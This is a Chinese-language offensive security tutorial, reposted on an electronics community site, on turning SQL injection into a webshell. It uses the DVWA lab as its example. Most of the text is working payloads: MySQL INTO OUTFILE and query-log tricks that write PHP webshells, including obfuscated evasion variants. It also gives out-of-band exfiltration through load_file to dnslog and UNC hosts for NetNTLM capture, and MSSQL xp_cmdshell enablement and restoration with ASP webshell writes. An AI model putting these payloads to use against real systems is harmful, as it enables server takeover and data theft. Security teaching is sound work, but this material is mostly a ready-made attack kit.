0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

SQL注入到Getshell的教程

我快閉嘴 ? 來源:哆啦安全 ? 作者:云天實驗室 ? 2022-09-21 14:45 ? 次閱讀

0x00 前言

上一節(jié),我們已經(jīng)介紹了基本的SQL查詢語句,常見的SQL注入類型,DVWA靶場演示SQL注入。學(xué)習(xí)了上一節(jié)我們可以做到執(zhí)行任意SQL語句,主要可以對數(shù)據(jù)庫的數(shù)據(jù)進行操作,但是不能對服務(wù)器和應(yīng)用進一步控制,本節(jié)就介紹下在有sql注入的情況下如何進行下一步的滲透,獲取到服務(wù)器權(quán)限。

0x01 Getshell

這里我們還是以上一節(jié)說的DVWA靶場為例,利用SQL注入漏洞寫入webshell獲取網(wǎng)站權(quán)限。

目標環(huán)境:

PHP+MYSQL+LINUX

前提條件:

- mysql 是root權(quán)限

- 知道網(wǎng)站在服務(wù)器上的物理路徑,且可寫

- 沒有過濾單引號

- `PHP`的`GPC`為 off狀態(tài)

- mysql <= 5.6.34

當`secure_file_priv`的值沒有具體值時,表示不對`MySQL`的導(dǎo)入|導(dǎo)出做限制

SHOW VARIABLES LIKE "secure_file_priv";

如果是null,表示`MySQL`不允許導(dǎo)入導(dǎo)出。(NULL不等于沒有空)

而且在`mysql 5.6.34`版本以后 `secure_file_priv` 的值默認為NULL,并且無法用`SQL`語句對其進行修改,并且會報錯如下:

e96a5a74-3964-11ed-9e49-dac502259ad0.png

`docker run -itd --name dvwa1 -p 8111:80 vulnerables/web-dvwa:1.9`

下載低版本的mysql測試

e990297a-3964-11ed-9e49-dac502259ad0.png

利用outfile和dumpfile,**outfile會在每行添加反斜杠,可導(dǎo)出多行,dumpfile只能導(dǎo)出一行,不會添加反斜杠,適合導(dǎo)出二進制文件:

```?id=1' UNION ALL SELECT 1,'' into outfile '/tmp/info.php'#?id=1' UNION ALL SELECT 1,'' into dumpfile '/tmp/info.php'#```

如果不能使用union查詢可以使用`fields terminated by`與`lines terminated by`:

```?id=1' into outfile '/tmp/info.php' FIELDS TERMINATED BY ''#```

修改配置getshell:

```vi /etc/mysql/my.cnfsecure_file_priv= "/"```

小tricks:

利用日志文件getshell

```show variables like '%general%';  --查看配置,日志是否開啟,和mysql默認log地址(記下原地址方便恢復(fù))set global general_log = on;    --開啟日志監(jiān)測,默認關(guān)閉(如果一直開文件會很大的)set global general_log_file = '/var/www/html/info.php';    --設(shè)置日志路徑select ' phpinfo();?>';    --執(zhí)行查詢,寫入shell
--SQL查詢免殺shellselect " $sl = create_function('', @$_REQUEST['klion']);$sl();?>";SELECT " $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";
--慢查詢寫shell,只有當查詢語句執(zhí)行的時間要超過系統(tǒng)默認的時間時,該語句才會被記入進慢查詢?nèi)罩尽?/span>為什么要用慢查詢寫呢?上邊說過開啟日志監(jiān)測后文件會很大,網(wǎng)站訪問量大的話我們寫的shell會出錯show global variables like '%long_query_time%'    --查看服務(wù)器默認時間值show variables like '%slow_query_log%';    --查看慢查詢信息set global slow_query_log=1;        --啟用慢查詢?nèi)罩?默認禁用)set global slow_query_log_file='C:\phpStudy\WWW\shell.php';  --修改日志文件路徑select ' @eval($_POST[abc]);?>' or sleep(11);        --寫shell```

0x02 OOB

利用mysql的函數(shù),把信息傳遞到外網(wǎng)控制的機器,例如文件讀取的函數(shù),其實是對上面利用的一種變形和深度利用

前提條件:

- mysql <= 5.6.34

跟上面一樣**secure_file_priv**,在5.6.34之前是空值,之后被設(shè)置為null,直接被禁止了

```select @@version into outfile '//192.168.126.149/temp/o';select @@version into dumpfile '//192.168.126.149/temp/o';select load_file(concat('\\',version(),'.dnslog.cn\a'));select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));```

這里可能被利用竊取NetNtlm或者SMBrelay

responder -I eth0 -rv

e9aaf5b6-3964-11ed-9e49-dac502259ad0.png

0x03 MSSQL 執(zhí)行命令

當碰到windows服務(wù)器上web應(yīng)用有MSSQL注入時,可利用注入執(zhí)行命令寫webshell等

前提條件:

- SQL Server 2005以后默認關(guān)閉,需要手動開啟

查看xp_cmdshell是否開啟,并且使用語句開啟:

```exec sp_configure 'show advanced options', 1; RECONFIGURE;  exec sp_configure'xp_cmdshell', 1; RECONFIGURE;```

執(zhí)行命令:

```exec master..xp_cmdshell 'whoami';```

如果xp_cmdshell被刪除,我們可以利用xplog70.dll恢復(fù)被刪除的xp_cmdshell

```Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\xplog70.dll'```

這里就涉及到上傳文件:

1.利用sql語句寫入

```exec sp_makewebtask  'c:\windows\temp\xx.dll','select''<%execute(request("cmd"))%>'''```

2.利用命令執(zhí)行,寫入或下載

```exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> c:\windows\temp\xx.dll)'```

3.db權(quán)限

```目錄情況:create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));-- insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1-- select dir from temp where id=1  通過修改id來遍歷目錄寫數(shù)據(jù) alter database 數(shù)據(jù)庫名 set RECOVERY FULL  開啟恢復(fù)模式full,當恢復(fù)模式為 SIMPLE 時,不允許使用 BACKUP LOG 語句。create table test(str image)-- insert into test(str)values ('<%execute(request("cmd"))%>')-- backup log 數(shù)據(jù)庫名 to disk='c:可讀寫路徑x.asp'-- 這里的目錄注意是可讀寫目錄,不然會出問題alter database 數(shù)據(jù)庫名 set RECOVERY simple-- 關(guān)閉恢復(fù)模式full```

其他:

- COM組件利用

- CLR利用

- SQL Server 2016 R利用

- SQL Server 2017 Python利用

- 沙盒利用(openrowset)

- Agent Job利用

0X04 總結(jié)

SQL注入到Getshell

審核編輯:湯梓紅
聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • 服務(wù)器
    +關(guān)注

    關(guān)注

    12

    文章

    9160

    瀏覽量

    85421
  • SQL
    SQL
    +關(guān)注

    關(guān)注

    1

    文章

    764

    瀏覽量

    44130

原文標題:SQL注入到Getshell和OOB

文章出處:【微信號:哆啦安全,微信公眾號:哆啦安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    sql注入原理及預(yù)防措施

    SQL注入就是通過把SQL命令插入Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務(wù)器執(zhí)行惡意的SQL命令。對于很多網(wǎng)站都有
    發(fā)表于 03-21 14:47

    SQL注入擴展移位溢注

    SQL注入擴展移位溢注
    發(fā)表于 09-07 15:06 ?11次下載
    <b class='flag-5'>SQL</b><b class='flag-5'>注入</b>擴展移位溢注

    基于SQL注入攻擊檢測與防御的方法

    顯露出來,這些給人們的生活、工作、學(xué)習(xí)都帶來了巨大的損失。面對Web 網(wǎng)站存在的種種安全漏洞問題,文章通過對大量SQL注入攻擊報文的攻擊特征進行總結(jié)分析,結(jié)合SQL注入攻擊的攻擊特征和
    發(fā)表于 10-31 10:57 ?18次下載
    基于<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>攻擊檢測與防御的方法

    sql注入攻擊實例講解

     “SQL注入”是一種利用未過濾/未審核用戶輸入的攻擊方法(“緩存溢出”和這個不同),意思就是讓應(yīng)用運行本不應(yīng)該運行的SQL代碼。如果應(yīng)用毫無防備地創(chuàng)建了SQL字符串并且運行了它們,就
    發(fā)表于 11-17 14:07 ?1.9w次閱讀
    <b class='flag-5'>sql</b><b class='flag-5'>注入</b>攻擊實例講解

    網(wǎng)絡(luò)環(huán)境的SQL注入行為檢測

    SQL注入攻擊是Web應(yīng)用面臨的主要威脅之一,傳統(tǒng)的檢測方法針對客戶端或服務(wù)器端進行。通過對SQL注入的一般過程及其流量特征分析,發(fā)現(xiàn)其在請求長度、連接數(shù)以及特征串等方面,與正常流量相
    發(fā)表于 02-23 09:58 ?1次下載

    一文帶你了解安全測試基礎(chǔ)之SQL注入

    傳說,SQL注入是黑客對數(shù)據(jù)庫進行攻擊的常用手段,今天就來介紹一下SQL注入。
    的頭像 發(fā)表于 06-28 11:15 ?2252次閱讀

    訓(xùn)練SQL注入的sqil-labs-master闖關(guān)游戲

    訓(xùn)練SQL注入的sqil-labs-master闖關(guān)游戲
    發(fā)表于 05-14 09:31 ?0次下載

    SQL注入攻擊是什么 SQL注入會帶來哪些威脅

    AQL的定義 SQL是操作數(shù)據(jù)庫數(shù)據(jù)的結(jié)構(gòu)化查詢語言,網(wǎng)頁的應(yīng)用數(shù)據(jù)和后臺數(shù)據(jù)庫中的數(shù)據(jù)進行交互時會采用SQL。而SQL注入是將Web頁面的原URL、表單域或數(shù)據(jù)包輸入的參數(shù),修改拼接
    的頭像 發(fā)表于 08-04 17:40 ?5136次閱讀

    Mybatis的SQL注入審計的基本方法

    SQL注入漏洞作為WEB安全的最常見的漏洞之一,在java中隨著預(yù)編譯與各種ORM框架的使用,注入問題也越來越少。新手代碼審計者往往對Java Web應(yīng)用的多個框架組合而心生畏懼,不知如何下手,希望通過Mybatis框架使用不當
    的頭像 發(fā)表于 10-17 11:16 ?1312次閱讀

    SQL語句利用日志寫shell及相關(guān)繞過

    在能夠?qū)?b class='flag-5'>SQL語句的地方,outfile、dumpfile、drop database等都被禁止,一般進行SQL注入getshell或刪庫的方式行不通了。
    的頭像 發(fā)表于 02-03 17:32 ?1857次閱讀

    超級SQL注入工具–SSQLInjection

    支持手動靈活的進行SQL注入繞過,可自定義進行字符替換等繞過注入防護。本工具為滲透測試人員、信息安全工程師等掌握SQL注入技能的人員設(shè)計,需
    的頭像 發(fā)表于 03-07 10:26 ?2256次閱讀

    什么是SQL注入?Java項目防止SQL注入方式總結(jié)

    SQL注入即是指web應(yīng)用程序?qū)τ脩糨斎霐?shù)據(jù)的合法性沒有判斷或過濾不嚴,攻擊者可以在web應(yīng)用程序中事先定義好的查詢語句的結(jié)尾上添加額外的SQL語句,在管理員不知情的情況下實現(xiàn)非法操作,以此來實現(xiàn)欺騙數(shù)據(jù)庫服務(wù)器執(zhí)行非授權(quán)的任意
    的頭像 發(fā)表于 09-25 10:43 ?978次閱讀
    什么是<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>?Java項目防止<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>方式總結(jié)

    sql注入漏洞解決方法有哪些?

    什么是sql注入SQL注入(SQLi)是一種執(zhí)行惡意SQL語句的注入攻擊。攻擊者可能會利用
    的頭像 發(fā)表于 10-07 17:29 ?4859次閱讀
    <b class='flag-5'>sql</b><b class='flag-5'>注入</b>漏洞解決方法有哪些?

    什么是SQL注入?Java項目防止SQL注入方式

    Java項目防止SQL注入方式 這里總結(jié)4種: PreparedStatement防止SQL注入 mybatis中#{}防止SQL
    發(fā)表于 10-16 14:26 ?610次閱讀

    IP 地址在 SQL 注入攻擊中的作用及防范策略

    SQL 注入是通過將惡意的 SQL 代碼插入輸入?yún)?shù)中,欺騙應(yīng)用程序執(zhí)行這些惡意代碼,從而實現(xiàn)對數(shù)據(jù)庫的非法操作。例如,在一個登錄表單中,如果輸入的用戶名被直接拼接到
    的頭像 發(fā)表于 08-05 17:36 ?312次閱讀